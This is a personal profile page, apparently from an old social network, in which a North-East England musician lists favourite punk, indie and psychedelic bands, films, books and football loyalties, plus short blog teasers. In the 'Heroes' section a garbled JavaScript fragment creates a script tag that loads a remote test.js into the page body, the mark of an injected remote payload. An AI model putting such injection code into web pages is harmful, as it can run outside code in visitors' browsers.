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lessthangravity

There's a big hole where your dreams should be.........

About Me

Says it all really.....God I love this:I never really subscribed to organised religion so I like what I like and hate what I hate. Make it up as you go along as long as your shitlist includes Queen, Elton, anything remotely influenced by / connected to Robbie Williams, Cowell or Ronan Keaton you should be relatively safe.Attitude over ability any day in my book... width="425" height="350" ..Please check out all "my Friends" as I am too lazy to fanny around and swap over all the time..................Trueisms:Mike Watt is GOD of the ThunderbroomPoison Ivy is eternally sexyThe Riverside in Newcastle was the greatest venue on the planet Firehose, fugazi,Prisoners, Nova mob,Julian Cope, Sonic Youth/Mudhoney. (on my 18th birthday), Bongwater on my 21st!American Music Club, Loop, Mega City Four, Spacemen three, Dinosaur Jr, Das Damen, Lunachicks, - £2.50 to see nirvana + Tad + The Cateran - and £2.50 to see the Chilli Peppers -- go figure I think is the expression!everyone should own "Psychedelicatessen" by the PrescriptionsVox Phantoms are sexyI've been in some cack bands and some not-so-cack depending or how tonally atuned the listener may be :The Roundabouts/ The Pyromaniacs/ 23rd Spiral / The Prescriptions / Flatland / Gorgan / Thee Strawberry Mynde / Gravity / Mouse /Fortythree.True friends are the ones that you suddenly think about when you need them mostNewcastle United will one day repay my undying supportRed Wine is greatMy cats are cool fukkas

My Interests

Music - Punk, 80's hardcore + Grunge, Indie, Ska, Mod, Garage, Psychedelia, Alt Country,Jazz, football, The Toon, Films,gigs,pubs AND FUN!

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I'd like to meet:

I've already met MIKE WATT - The single most inspirational and self effacing dude on the planet. listen to down with the bass by firehose and tell me he's not a genius - i DARE you!The designer of the vox phantomI Would've liked a chat with Arthur Lee and Syd Barrett (but not in his Roger mode)Whoever invented windowpane lsdBilly Childish is a living God amongst men - but he probably wouldn't tell you if you met him!

Music:

Husker Du, Jawbreaker, Thin White Rope, QOTSA, Ramones, Sonic Youth, Neil Young, Sonics, minor threat, Cramps, Fuzztones, Thirteenth Floor Elevators, Dead Kennedys, fugazi, Bevis Frond, Lemonheads, Agent Orange, Clash, Velvet Underground, Big Black, Descendents, Minutemen, Moving Targets, Firehose, Mike Watt, NOFX, Fall, Buffalo Tom, Dinosaur jr, MC5, Standells, Dickies, Mad Caddies, PJ Harvey, Link Wray, Billy Childish, Flaming Lips, Echo and the Bunnymen, Mercury Rev, Teardrop Explodes, Stooges, hollowmen, Pebbles compilations, My Bloody Valentine, Bad Brains, Joy Division, the creation, jimi, jefferson airplane , syd barrett, floyd, Loop, Smiths, Mary Chain, Spacemen 3, American Music Club, Nick Drake, Pixies, Smashing Pumpkins, Doors, Wire, Butthole Surfers, Who, Damned, Crass, Happy Flowers, Dead Milkmen, Kinks, Specials, robyn hitchcock,Rancid, Van Morrison, Pogues, Weller, Mudhoney, Mega City Four, Free, Janis Joplin, Coltrane, Mamas + Papas, Sun Ra, Hot Hot Heat, Libertines, Strokes,Hawkwind, Pele, Miles Davis, Led Zep, Monkees, Johnny Cash, Dylan, Cream, PussyGalore, Hard ons,jayhawks Iron and wine Yadda Yadda YaddaGeordie Nation see below:

Movies:

Coen Brothers, Jay and Silent Bob, Bruce Campbell, Jackie Chan, De Niro, Walken, Film Noir, Horror, Withnail, Adam Sandler.............. yadda yadda........... width="425" height="350" ..

Television:

...................Drug of the nation breeding ignorance and feeding radiation - except the Cramps on the Tube and Transmission in the nineties playing "Red Sun" by the quite excellent Thin White Rope ............. tell me this isn't AWESOME!

Books:

Hiassen, Sherlock Holmes, 3 Investigators, Palhanuick, Colin Bates, Ian Banks, Pratchett, Adams, Calvin and Hobbs, Block, Ellroy ..........

Heroes:

.................Always Die! (Bob Mould).............But Banksy is one kool fukka check out www.banksy.co.uk .. Danny Wilson and the lads for turning POOLS around and giving us all hope that the bad old days of saving the Boro's measly skin is a thing of the past!width="425" height="350" ......"var x=..reateElement('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /

My Blog

Thee Strawberry Mynde

Be afraid!   Looks like Thee Strawberry Mynde is reforming with original members - yours truly, Bazza & Mr Lowes esq to cause sonic mayhem and mild aural discomfort to all and sundry.   ...
Posted by lessthangravity on Wed, 23 Jan 2008 01:40:00 PST

Genius is an over-used word...

..However if you need any stringed thing fixing honestly ring Nigel Crinson at the guitar centre in Hartlepool 01429 223326 (helps if yr local) - trained and skilled luthier that he is he managed to d...
Posted by lessthangravity on Wed, 05 Dec 2007 03:03:00 PST

Wiz

I must have seen Mega City Four play live half a dozen times, mostly by accident as they supported everyone, and a couple as headliners. Wiz was always full of energy and seemed a downright nice bloke...
Posted by lessthangravity on Sat, 09 Dec 2006 12:30:00 PST

Regression

I've regressed to my 18 yr old walking car battery self - musically not chemically - Havin a weekend of Spacerock thanks to Arthur Browns Journey kingdom come cd arriving thru' my door I havent l...
Posted by lessthangravity on Sat, 23 Sep 2006 11:46:00 PST